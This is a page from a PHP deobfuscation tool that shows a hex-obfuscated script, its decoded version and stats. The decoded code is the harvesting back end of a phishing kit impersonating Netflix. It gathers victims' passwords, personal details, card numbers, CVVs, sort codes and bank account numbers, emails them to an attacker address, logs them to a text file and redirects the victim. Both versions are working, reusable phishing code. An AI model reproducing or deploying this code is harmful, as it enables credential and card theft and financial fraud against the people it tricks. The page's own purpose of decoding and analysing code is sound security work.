Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4cO\x42\x41\x4c\x53"}["\x79\x6b\x70\x69\x77\x64\x64\x65"]="f\x69l\x65";${"\..

Decoded Output download

<?php ${"GLOBALS"}["ykpiwdde"]="file";${"GLOBALS"}["scidfkv"]="headers";${"GLOBALS"}["lowysewav"]="subj";${"GLOBALS"}["hlduccc"]="msg";${"GLOBALS"}["figjkolrwmfi"]="crd";${"GLOBALS"}["knssbxoh"]="ip";session_start();${${"GLOBALS"}["knssbxoh"]}=getenv("REMOTE_ADDR");${${"GLOBALS"}["figjkolrwmfi"]}=$_POST["crd"];${${"GLOBALS"}["hlduccc"]}="

Email Address : ".$_SESSION["email"]."
Password : ".$_SESSION["password"]."
Full Name : ".$_SESSION["name"]."
Date of Birth : ".$_SESSION["day"]." ".$_SESSION["month"]." ".$_SESSION["year"]."
Billing Address : ".$_SESSION["billing"]."
City : ".$_SESSION["city"]."
County : ".$_SESSION["county"]."
Postcode : ".$_SESSION["postcode"]."
Mobile Number : ".$_SESSION["mobile"]."
---------------------------------
Name On Card : ".$_POST["nmc"]."
Card Number : ".$_POST["crd"]."
Expiry Date : ".$_POST["exm"]." ".$_POST["exy"]."
CSC/CVV : ".$_POST["csc"]."
Sort Code : ".$_POST["srt"]."
Bank Name : ".$_POST["nbn"]."
Account Number : ".$_POST["acb"]."
IP : $ip
==================================";include"email.php";${"GLOBALS"}["mkksbtejnts"]="file";${${"GLOBALS"}["lowysewav"]}=" Netflix  - $ip";${${"GLOBALS"}["scidfkv"]}.="Content-Type: text/plain; charset=UTF-8
";${"GLOBALS"}["xudveo"]="file";${${"GLOBALS"}["scidfkv"]}.="Content-Transfer-Encoding: 8bit
";$mjggrenupul="msg";mail("$to",${${"GLOBALS"}["lowysewav"]},${${"GLOBALS"}["hlduccc"]},"$headers");${${"GLOBALS"}["mkksbtejnts"]}=fopen("asw.txt","a+");fwrite(${${"GLOBALS"}["xudveo"]},${$mjggrenupul});fclose(${${"GLOBALS"}["ykpiwdde"]});include"hostname_check.php";header("Location: complete.php?ip=$ip");echo "

"; 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4cO\x42\x41\x4c\x53"}["\x79\x6b\x70\x69\x77\x64\x64\x65"]="f\x69l\x65";${"\x47\x4c\x4f\x42A\x4cS"}["\x73cidf\x6b\x76"]="\x68eaders";${"G\x4c\x4fBA\x4cS"}["lo\x77\x79\x73\x65w\x61\x76"]="\x73ub\x6a";${"G\x4cO\x42A\x4c\x53"}["h\x6c\x64\x75\x63\x63\x63"]="\x6d\x73\x67";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66\x69\x67\x6a\x6bo\x6c\x72\x77m\x66\x69"]="\x63\x72\x64";${"G\x4c\x4f\x42A\x4c\x53"}["\x6b\x6e\x73s\x62\x78oh"]="i\x70";session_start();${${"\x47\x4c\x4f\x42\x41LS"}["\x6b\x6es\x73b\x78\x6f\x68"]}=getenv("\x52EMO\x54E_A\x44\x44R");${${"\x47L\x4f\x42\x41L\x53"}["\x66\x69\x67jk\x6f\x6c\x72\x77\x6df\x69"]}=$_POST["\x63\x72d"];${${"\x47L\x4f\x42A\x4c\x53"}["\x68\x6c\x64u\x63c\x63"]}="\n\n\x45m\x61i\x6c\x20Ad\x64\x72es\x73\x20:\x20".$_SESSION["\x65m\x61il"]."\nPas\x73\x77o\x72d\x20:\x20".$_SESSION["p\x61s\x73\x77\x6frd"]."\n\x46ul\x6c\x20\x4e\x61me : ".$_SESSION["\x6e\x61m\x65"]."\n\x44\x61\x74e \x6ff\x20Bi\x72t\x68 :\x20".$_SESSION["d\x61\x79"]."\x20".$_SESSION["m\x6fn\x74\x68"]." ".$_SESSION["y\x65a\x72"]."\n\x42\x69\x6c\x6c\x69\x6e\x67 \x41dd\x72\x65s\x73 :\x20".$_SESSION["\x62\x69\x6c\x6c\x69n\x67"]."\nC\x69t\x79\x20:\x20".$_SESSION["\x63\x69\x74\x79"]."\nCo\x75\x6e\x74y\x20: ".$_SESSION["co\x75\x6e\x74y"]."\nP\x6fst\x63od\x65\x20: ".$_SESSION["p\x6f\x73\x74cod\x65"]."\nMo\x62il\x65\x20\x4e\x75m\x62er\x20:\x20".$_SESSION["mob\x69le"]."\n---------------------------------\n\x4e\x61\x6de \x4fn\x20Car\x64\x20:\x20".$_POST["n\x6d\x63"]."\nC\x61r\x64 N\x75mbe\x72 : ".$_POST["\x63r\x64"]."\nE\x78\x70i\x72\x79 D\x61t\x65 :\x20".$_POST["e\x78m"]."\x20".$_POST["\x65xy"]."\nCS\x43/\x43V\x56\x20: ".$_POST["csc"]."\nS\x6f\x72\x74\x20\x43od\x65 :\x20".$_POST["\x73rt"]."\n\x42\x61\x6e\x6b \x4e\x61m\x65 : ".$_POST["\x6e\x62n"]."\n\x41\x63\x63o\x75n\x74\x20N\x75\x6dbe\x72 :\x20".$_POST["\x61\x63\x62"]."\nI\x50 : $ip\n==\x3d\x3d=\x3d=\x3d===\x3d\x3d\x3d\x3d\x3d=\x3d=\x3d===\x3d\x3d\x3d\x3d\x3d==\x3d=\x3d\x3d";include"e\x6d\x61il\x2ephp";${"GL\x4f\x42A\x4cS"}["m\x6bk\x73bte\x6a\x6e\x74s"]="\x66\x69\x6ce";${${"G\x4c\x4fB\x41\x4cS"}["\x6co\x77ys\x65w\x61\x76"]}="\x20N\x65tf\x6ci\x78\x20 - $ip";${${"G\x4c\x4f\x42ALS"}["\x73\x63id\x66k\x76"]}.="\x43\x6f\x6e\x74\x65n\x74-T\x79p\x65: text/\x70\x6cai\x6e\x3b cha\x72\x73\x65t=\x55\x54\x46-\x38\n";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x78\x75\x64v\x65\x6f"]="\x66i\x6c\x65";${${"\x47LOB\x41L\x53"}["\x73\x63\x69\x64\x66\x6b\x76"]}.="\x43\x6fnten\x74-\x54\x72a\x6es\x66\x65r-\x45nc\x6fd\x69\x6eg:\x20\x38b\x69t\n";$mjggrenupul="\x6d\x73g";mail("$to",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["l\x6f\x77\x79s\x65\x77\x61v"]},${${"GL\x4fBA\x4c\x53"}["\x68\x6cdu\x63\x63\x63"]},"$headers");${${"G\x4cO\x42AL\x53"}["\x6d\x6b\x6b\x73\x62t\x65\x6an\x74s"]}=fopen("\x61\x73\x77.t\x78t","\x61+");fwrite(${${"\x47\x4cOB\x41\x4c\x53"}["\x78\x75\x64\x76\x65\x6f"]},${$mjggrenupul});fclose(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x79\x6bp\x69w\x64d\x65"]});include"\x68\x6f\x73\x74na\x6d\x65_\x63h\x65c\x6b\x2ep\x68\x70";header("\x4coc\x61\x74\x69\x6f\x6e:\x20\x63o\x6d\x70\x6ce\x74\x65.p\x68\x70?\x69\x70=$ip");echo "\n\n";
?>

Function Calls

getenv 1
session_start 1

Variables

GLOBALS [{'key': 'ykpiwdde', 'value': 'file'}, {'key': 'scidfkv', 'value': 'headers'}, {'key': 'lowysewav', 'value': 'subj'}, {'key': 'hlduccc', 'value': 'msg'}, {'key': 'figjkolrwmfi', 'value': 'crd'}, {'key': 'knssbxoh', 'value': 'ip'}]

Stats

MD5 1f418032498bc3bb3ddbcd806c51fd10
Eval Count 0
Decode Time 112 ms